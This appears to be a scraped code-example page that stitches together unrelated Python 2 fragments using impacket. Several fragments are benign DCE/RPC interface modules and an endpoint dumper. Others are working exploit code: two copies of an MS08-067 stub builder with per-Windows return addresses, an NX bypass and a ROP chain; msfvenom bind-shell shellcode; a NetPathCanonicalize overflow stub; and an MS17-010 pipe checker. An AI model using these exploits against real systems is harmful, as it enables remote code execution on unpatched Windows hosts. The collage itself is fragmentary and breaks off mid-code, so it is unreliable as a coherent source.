            jumper = disableNXjumper % (ret_dec * 6, ret_pop, disable_nx,
                                        jmp_esp * 2)
        elif (self.os == '5'):
            print 'Windows XP SP3 French (NX)\n'
            ret = "\x07\xf8\x5b\x59"  # 0x59 5b f8 07
            disable_nx = "\xc2\x17\x5c\x59"  # 0x59 5c 17 c2
            # the nonxjmper also work in this case.
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '6'):
            print 'Windows XP SP3 English (NX)\n'
            ret = "\x07\xf8\x88\x6f"  # 0x6f 88 f8 07
            disable_nx = "\xc2\x17\x89\x6f"  # 0x6f 89 17 c2
            # the nonxjmper also work in this case.
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '7'):
            print 'Windows XP SP3 English (AlwaysOn NX)\n'
            rvasets = {
                'call_HeapCreate':
                0x21286,
                'add eax, ebp / mov ecx, 0x59ffffa8 / ret':
                0x2e796,
                'pop ecx / ret':
                0x2e796 + 6,
                'mov [eax], ecx / ret':
                0xd296,
                'jmp eax':
                0x19c6f,
                'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':
                0x10a56,
                'mov [eax+0x10], ecx / ret':
                0x10a56 + 6,
                'add eax, 8 / ret':
                0x29c64
            }
            # the nonxjmper also work in this case.
            jumper = generate_rop(rvasets) + "AB"
        else:
            print 'Not supported OS version\n'
            sys.exit(-1)

        print '[-]Initiating connection'

        # MORE MODIFICATIONS HERE #############################################################################################

        if (self.port == '445'):
            self.__trans = transport.DCERPCTransportFactory(
                'ncacn_np:%s[\\pipe\\browser]' % self.target)
        else:
            # DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
            # *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to
            #   establish a NetBIOS Session.  The NetBIOS session shows as NBSS in Wireshark.

            self.__trans = transport.SMBTransport(remoteName='*SMBSERVER',
                                                  remote_host='%s' %
                                                  self.target,
                                                  dstport=int(self.port),
                                                  filename='\\browser')

        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(
            uuid.uuidtup_to_bin(
                ('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
            "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
        server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        # NEW HOTNESS
        # The Path Length and the "Actual Count" SMB parameter have to match.  Path length in bytes
        #   is double the ActualCount field.  MaxCount also seems to match.  These fields in the SMB protocol
        #   store hex values in reverse byte order.  So: 36 01 00 00  => 00 00 01 36 => 310.  No idea why it's "doubled"
        #   from 310 to 620.  620 = 410 shellcode + extra stuff in the path.
        MaxCount = "\x36\x01\x00\x00"  # Decimal 310. => Path length of 620.
        Offset = "\x00\x00\x00\x00"
        ActualCount = "\x36\x01\x00\x00"  # Decimal 310. => Path length of 620

        self.__stub = server + MaxCount + Offset + ActualCount + \
            path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"

        return
Exemplo n.º 44
0
#
# Author: Alberto Solino
#
# Description:
#   SVCCTL (Services Control) interface implementation.
#

import array
from struct import *
from impacket import ImpactPacket
from impacket.structure import Structure
from impacket import dcerpc
from impacket.dcerpc import ndrutils, dcerpc
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_SVCCTL = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))

# Error Codes 
ERROR_PATH_NOT_FOUND             = 3
ERROR_ACCESS_DENIED              = 5
ERROR_INVALID_HANDLE             = 6
ERROR_INVALID_DATA               = 13
ERROR_INVALID_PARAMETER          = 87
ERROR_INSUFICIENT_BUFFER         = 122
ERROR_INVALID_NAME               = 123
ERROR_INVALID_LEVEL              = 124
ERROR_MORE_DATA                  = 234
ERROR_DEPENDENT_SERVICES_RUNNING = 1051
ERROR_INVALID_SERVICE_CONTROL    = 1052
ERROR_SERVICE_REQUEST_TIMEOUT    = 1053
ERROR_SERVICE_ALREADY_RUNNING    = 1056
Exemplo n.º 45
0
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport

target = sys.argv[1]

print '[-]Initiating connection'
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' %
                                         target)
trans.connect()

print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target
dce = trans.DCERPC_class(trans)

#RRAS DCE-RPC endpoint
dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0')))

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python
buf = ""
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"
Exemplo n.º 46
0
# for more information.
#
# $Id: wkssvc.py 529 2012-04-29 21:39:46Z [email protected] $
#
# Author: Alberto Solino
#
# Description:
#   WKSSVC interface implementation.
#

from impacket.structure import Structure
from impacket import dcerpc
from impacket.dcerpc import ndrutils
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_WKSSVC = uuidtup_to_bin(
    ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'))


class WKSTA_TRANSPORT_INFO_0(Structure):
    structure = (
        ('UnUsed', '<L'),
        ('NumberOfRemoteConnections', '<L'),
        ('RefId1', '<L'),
        ('RefId2', '<L'),
        ('IsRoutableTransport', '<L'),
        #       ('TransportName',':',ndrutils.NDRStringW),
        #       ('TransportAddress',':',ndrutils.NDRStringW),
    )


class WKSSVCNetrWkstaTransportEnum(Structure):
Exemplo n.º 47
0
from impacket import hresult_errors, system_errors
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin, string_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.krb5 import crypto
from pyasn1.type import univ
from pyasn1.codec.ber import decoder

try:
    from Crypto.Cipher import ARC4, DES
except Exception:
    LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
    LOG.critical("See http://www.pycrypto.org/")

MSRPC_UUID_DRSUAPI = uuidtup_to_bin(("E3514235-4B06-11D1-AB04-00C04FC2DCD2", "4.0"))


class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if hresult_errors.ERROR_MESSAGES.has_key(key):
            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
            return "DRSR SessionError: code: 0x%x - %s - %s" % (self.error_code, error_msg_short, error_msg_verbose)
        elif system_errors.ERROR_MESSAGES.has_key(key & 0xFFFF):
            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xFFFF][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xFFFF][1]
Exemplo n.º 48
0
 def addCallbacks(self, UUID, callbacks):
     # Format is [opnum] =  callback
     self.__callbacks[uuidtup_to_bin(UUID)] = callbacks
     self.__listenUUIDS.append(uuidtup_to_bin(UUID))
     print "Callback added for UUID %s V:%s" % UUID
Exemplo n.º 49
0
# Copyright (c) 2003-2012 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# $Id: printer.py 551 2012-05-20 23:12:24Z [email protected] $
#

from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_SPOOLSS = uuidtup_to_bin(
    ('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))


def zeroize(s):
    return '\x00'.join(str(s)) + '\x00'


class SpoolSS_DevModeContainer(Structure):
    alignment = 4
    structure = (
        ('cbBuf', '<L-DevMode'),
        ('pDevMode', '<L&DevMode'),
        ('DevMode', ':'),
    )


class SpoolSS_OpenPrinter(Structure):
    alignment = 4
Exemplo n.º 50
0
#
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file. 
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too. 
#
from struct import unpack

from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, UUID, ULONG, LPULONG, BOOLEAN, SECURITY_INFORMATION, PFILETIME, \
    RPC_UNICODE_STRING, FILETIME, NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION, PWCHAR, PRPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_RRP = uuidtup_to_bin(('338CD001-2244-31F1-AAAA-900038001003', '1.0'))

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__( self ):
        key = self.error_code
        if system_errors.ERROR_MESSAGES.has_key(key):
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
            return 'RRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'RRP SessionError: unknown error code: 0x%x' % self.error_code

################################################################################
Exemplo n.º 51
0
from datetime import datetime
from six import PY2
import binascii

from impacket import hresult_errors, mapi_constants, uuid
from impacket.uuid import EMPTY_UUID
from impacket.structure import Structure
from impacket.dcerpc.v5.dtypes import NULL, STR, DWORD, LPDWORD, UUID, PUUID, LONG, ULONG, \
    FILETIME, PFILETIME, BYTE, SHORT, LPSTR, LPWSTR, USHORT, LPLONG, DWORD_ARRAY
from impacket.ldap.ldaptypes import LDAP_SID
from impacket.dcerpc.v5.ndr import NDR, NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, \
    NDRUniConformantVaryingArray, NDRUniConformantArray, NDRUniVaryingArray
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import string_to_bin, uuidtup_to_bin, EMPTY_UUID

MSRPC_UUID_NSPI = uuidtup_to_bin(
    ('F5CC5A18-4264-101A-8C59-08002B2F8426', '56.0'))


class DCERPCSessionError(DCERPCException):
    def __str__(self):
        key = self.error_code
        if key in mapi_constants.ERROR_MESSAGES:
            error_msg_short = mapi_constants.ERROR_MESSAGES[key]
            return 'NSPI SessionError: code: 0x%x - %s' % (self.error_code,
                                                           error_msg_short)
        elif key in hresult_errors.ERROR_MESSAGES:
            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
            return 'NSPI SessionError: code: 0x%x - %s - %s' % (
                self.error_code, error_msg_short, error_msg_verbose)
        else:
Exemplo n.º 52
0
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file.
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too.
#
# Author:
#   Alberto Solino (@agsolino)
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
from impacket.structure import Structure
from impacket import hresult_errors, system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException

MSRPC_UUID_TSCHS = uuidtup_to_bin(
    ('86D35949-83C9-4044-B424-DB363231FD0C', '1.0'))


class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if key in hresult_errors.ERROR_MESSAGES:
            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
            return 'TSCH SessionError: code: 0x%x - %s - %s' % (
                self.error_code, error_msg_short, error_msg_verbose)
        elif key & 0xffff in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
Exemplo n.º 53
0
#   They are located at the end of this file.
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too.
#
# Author:
#   Simon Decosse (@simondotsh)
#

from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRENUM
from impacket.dcerpc.v5.dtypes import UINT, LPWSTR, GUID
from impacket import system_errors
from impacket.dcerpc.v5.enum import Enum
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_DSSP = uuidtup_to_bin(
    ('3919286A-B10C-11D0-9BA8-00C04FD92EF5', '0.0'))


class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if key in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
            return 'DSSP SessionError: code: 0x%x - %s - %s' % (
                self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'DSSP SessionError: unknown error code: 0x%x' % self.error_code
Exemplo n.º 54
0
    def __DCEPacket(self):
        if (self.os == '1'):
            print 'Windows XP SP0/SP1 Universal\n'
            ret = "\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '2'):
            print 'Windows 2000 Universal\n'
            ret = "\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '3'):
            print 'Windows 2003 SP0 Universal\n'
            ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '4'):
            print 'Windows 2003 SP1 English\n'
            ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = "\xd3\xfe\x86\x7c"  #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = "\x13\xe4\x83\x7c"  #0x 7c 83 e4 13 NX disable @NTDLL.DLL
            jumper = disableNXjumper % (ret_dec * 6, ret_pop, disable_nx,
                                        jmp_esp * 2)
        elif (self.os == '5'):
            print 'Windows XP SP3 French (NX)\n'
            ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07
            disable_nx = "\xc2\x17\x5c\x59"  #0x59 5c 17 c2
            jumper = nonxjmper % (disable_nx, ret
                                  )  #the nonxjmper also work in this case.
        elif (self.os == '6'):
            print 'Windows XP SP3 English (NX)\n'
            ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07
            disable_nx = "\xc2\x17\x89\x6f"  #0x6f 89 17 c2
            jumper = nonxjmper % (disable_nx, ret
                                  )  #the nonxjmper also work in this case.
        elif (self.os == '7'):
            print 'Windows XP SP3 English (AlwaysOn NX)\n'
            rvasets = {
                'call_HeapCreate':
                0x21286,
                'add eax, ebp / mov ecx, 0x59ffffa8 / ret':
                0x2e796,
                'pop ecx / ret':
                0x2e796 + 6,
                'mov [eax], ecx / ret':
                0xd296,
                'jmp eax':
                0x19c6f,
                'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':
                0x10a56,
                'mov [eax+0x10], ecx / ret':
                0x10a56 + 6,
                'add eax, 8 / ret':
                0x29c64
            }
            jumper = generate_rop(
                rvasets) + "AB"  #the nonxjmper also work in this case.
        else:
            print 'Not supported OS version\n'
            sys.exit(-1)
        print '[-]Initiating connection'

        self.__trans = transport.DCERPCTransportFactory(
            'ncacn_np:%s[\\pipe\\browser]' % self.target)

        self.__trans.connect()

        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target

        self.__dce = self.__trans.DCERPC_class(self.__trans)

        self.__dce.bind(
            uuid.uuidtup_to_bin(
                ('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2

        server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        self.__stub = server + "\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"

        return
Exemplo n.º 55
0
class RPCDump:
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 445),
        '135/TCP': (r'ncacn_ip_tcp:%s', 135),
    }

    def __init__(self,
                 protocols=None,
                 username='',
                 password='',
                 domain='',
                 hashes=None):
        if not protocols:
            protocols = RPCDump.KNOWN_PROTOCOLS.keys()

        self.__username = username
        self.__password = password
        self.__protocols = [protocols]
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')

    def dump(self, addr):
        """Dumps the list of endpoints registered with the mapper
        listening at addr. Addr is a valid host name or IP address in
        string format.
        """

        logging.info('Retrieving endpoint list from %s' % addr)

        # Try all requested protocols until one works.
        entries = []
        for protocol in self.__protocols:
            protodef = RPCDump.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            logging.info("Trying protocol %s..." % protocol)
            stringbinding = protodef[0] % addr

            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(port)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.__username, self.__password,
                                             self.__domain, self.__lmhash,
                                             self.__nthash)

            try:
                entries = self.__fetchList(rpctransport)
            except Exception, e:
                logging.critical('Protocol failed: %s' % e)
            else:
                # Got a response. No need for further iterations.
                break

        # Display results.

        endpoints = {}
        # Let's groups the UUIDS
        for entry in entries:
            binding = epm.PrintStringBinding(entry['tower']['Floors'],
                                             rpctransport.get_dip())
            tmpUUID = str(entry['tower']['Floors'][0])
            if endpoints.has_key(tmpUUID) is not True:
                endpoints[tmpUUID] = {}
                endpoints[tmpUUID]['Bindings'] = list()
            if ndrutils.KNOWN_UUIDS.has_key(
                    uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]):
                endpoints[tmpUUID]['EXE'] = ndrutils.KNOWN_UUIDS[
                    uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
            else:
                endpoints[tmpUUID]['EXE'] = 'N/A'
            endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1]
            endpoints[tmpUUID]['Bindings'].append(binding)

            if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]):
                endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[
                    tmpUUID[:36]]
            else:
                endpoints[tmpUUID]['Protocol'] = "N/A"
            #print "Transfer Syntax: %s" % entry['Tower']['Floors'][1]

        for endpoint in endpoints.keys():
            print "Protocol: %s " % endpoints[endpoint]['Protocol']
            print "Provider: %s " % endpoints[endpoint]['EXE']
            print "UUID    : %s %s" % (endpoint,
                                       endpoints[endpoint]['annotation'])
            print "Bindings: "
            for binding in endpoints[endpoint]['Bindings']:
                print "          %s" % binding
            print ""

        if entries:
            num = len(entries)
            if 1 == num:
                logging.info('Received one endpoint.')
            else:
                logging.info('Received %d endpoints.' % num)
        else:
            logging.info('No endpoints found.')
Exemplo n.º 56
0
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from struct import pack
import sys
'''
Script for
- check target if MS17-010 is patched or not.
- find accessible named pipe
'''

USERNAME = ''
PASSWORD = ''

NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')

MSRPC_UUID_BROWSER = uuidtup_to_bin(
    ('6BFFD098-A112-3610-9833-012892020162', '0.0'))
MSRPC_UUID_SPOOLSS = uuidtup_to_bin(
    ('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
MSRPC_UUID_NETLOGON = uuidtup_to_bin(
    ('12345678-1234-ABCD-EF00-01234567CFFB', '1.0'))
MSRPC_UUID_LSARPC = uuidtup_to_bin(
    ('12345778-1234-ABCD-EF00-0123456789AB', '0.0'))
MSRPC_UUID_SAMR = uuidtup_to_bin(
    ('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))

pipes = {
    'browser': MSRPC_UUID_BROWSER,
    'spoolss': MSRPC_UUID_SPOOLSS,
    'netlogon': MSRPC_UUID_NETLOGON,
    'lsarpc': MSRPC_UUID_LSARPC,
    'samr': MSRPC_UUID_SAMR,
Exemplo n.º 57
0
    def dump(self, remoteName, remoteHost):
        """Dumps the list of endpoints registered with the mapper
        listening at addr. remoteName is a valid host name or IP
        address in string format.
        """

        logging.info('Retrieving endpoint list from %s' % remoteName)

        entries = []

        self.__stringbinding = self.KNOWN_PROTOCOLS[
            self.__port]['bindstr'] % remoteName
        logging.debug('StringBinding %s' % self.__stringbinding)
        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)

        if self.__port in [139, 445]:
            # Setting credentials for SMB
            rpctransport.set_credentials(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)

            # Setting remote host and port for SMB
            rpctransport.setRemoteHost(remoteHost)
            rpctransport.set_dport(self.__port)
        elif self.__port in [443]:
            # Setting credentials only for RPC Proxy, but not for the MSRPC level
            rpctransport.set_credentials(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)

            # Usually when a server doesn't support NTLM, it also doesn't expose epmapper (nowadays
            # only RDG servers may potentially expose a epmapper via RPC Proxy).
            #
            # Also if the auth is not NTLM, there is no way to get a target
            # NetBIOS name, but epmapper ACL requires you to specify it.
            rpctransport.set_auth_type(AUTH_NTLM)
        else:
            # We don't need to authenticate to 135 and 593 ports
            pass

        try:
            entries = self.__fetchList(rpctransport)
        except Exception as e:
            # raise

            # This may contain UTF-8
            error_text = 'Protocol failed: %s' % e
            logging.critical(error_text)

            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
                    RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
                    RPC_PROXY_CONN_A1_404_ERR in error_text or \
                    RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
                logging.critical(
                    "This usually means the target does not allow "
                    "to connect to its epmapper using RpcProxy.")
                return

        # Display results.

        endpoints = {}
        # Let's groups the UUIDS
        for entry in entries:
            binding = epm.PrintStringBinding(entry['tower']['Floors'])
            tmpUUID = str(entry['tower']['Floors'][0])
            if (tmpUUID in endpoints) is not True:
                endpoints[tmpUUID] = {}
                endpoints[tmpUUID]['Bindings'] = list()
            if uuid.uuidtup_to_bin(
                    uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
                endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[
                    uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
            else:
                endpoints[tmpUUID]['EXE'] = 'N/A'
            endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode(
                'utf-8')
            endpoints[tmpUUID]['Bindings'].append(binding)

            if tmpUUID[:36] in epm.KNOWN_PROTOCOLS:
                endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[
                    tmpUUID[:36]]
            else:
                endpoints[tmpUUID]['Protocol'] = "N/A"
            # print("Transfer Syntax: %s" % entry['tower']['Floors'][1])

        for endpoint in list(endpoints.keys()):
            print("Protocol: %s " % endpoints[endpoint]['Protocol'])
            print("Provider: %s " % endpoints[endpoint]['EXE'])
            print("UUID    : %s %s" %
                  (endpoint, endpoints[endpoint]['annotation']))
            print("Bindings: ")
            for binding in endpoints[endpoint]['Bindings']:
                print("          %s" % binding)
            print("")

        if entries:
            num = len(entries)
            if 1 == num:
                logging.info('Received one endpoint.')
            else:
                logging.info('Received %d endpoints.' % num)
        else:
            logging.info('No endpoints found.')
Exemplo n.º 58
0
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
import sys
print "DEBUG: Approaching try-except loop"
try:
    target = sys.argv[1]
    port = 445
except IndexError:
    print "Usage: %s HOST" % sys.argv[0]
    sys.exit()
print "DEBUG: Reached past try-except loop"
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' %
                                         target)
trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
stub = '\x01\x00\x00\x00'  # reference ID
stub += '\x10\x00\x00\x00'  # Max Count
stub += '\x00\x00\x00\x00'  # Offset
stub += '\x10\x00\x00\x00'  # Actual count
stub += '\x43' * 28  # Server UNC
stub += '\x00\x00\x00\x00'  # UNC Trailer padding
stub += '\x2f\x00\x00\x00'  # Max count
stub += '\x00\x00\x00\x00'  # Offset
stub += '\x2f\x00\x00\x00'  # Actual count
stub += '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\2e\x00\2e\x00\x5c\x00'  # PATH
stub += '\x41' * 18  # Padding
stub += '\xb0\x8a\x80\x7c'  # 7c808ab0 jump EDX (ffe2)
stub += '\xCC' * 44  # Fake shellcode
stub += '\xEB\xD0\x90\x90'  # short jump back
stub += '\x44\x44\x44\x44'  # Padding
Exemplo n.º 59
0
#   Best way to learn how to use these calls is to grab the protocol standard
#   so you understand what the call does, and then read the test case located
#   at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
#   Some calls have helper functions, which makes it even easier to use.
#   They are located at the end of this file.
#   Helper functions start with "h"<name of the call>.
#   There are test cases for them too.
#
from impacket import system_errors
from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin

MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0'))

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if system_errors.ERROR_MESSAGES.has_key(key):
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
            return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code

################################################################################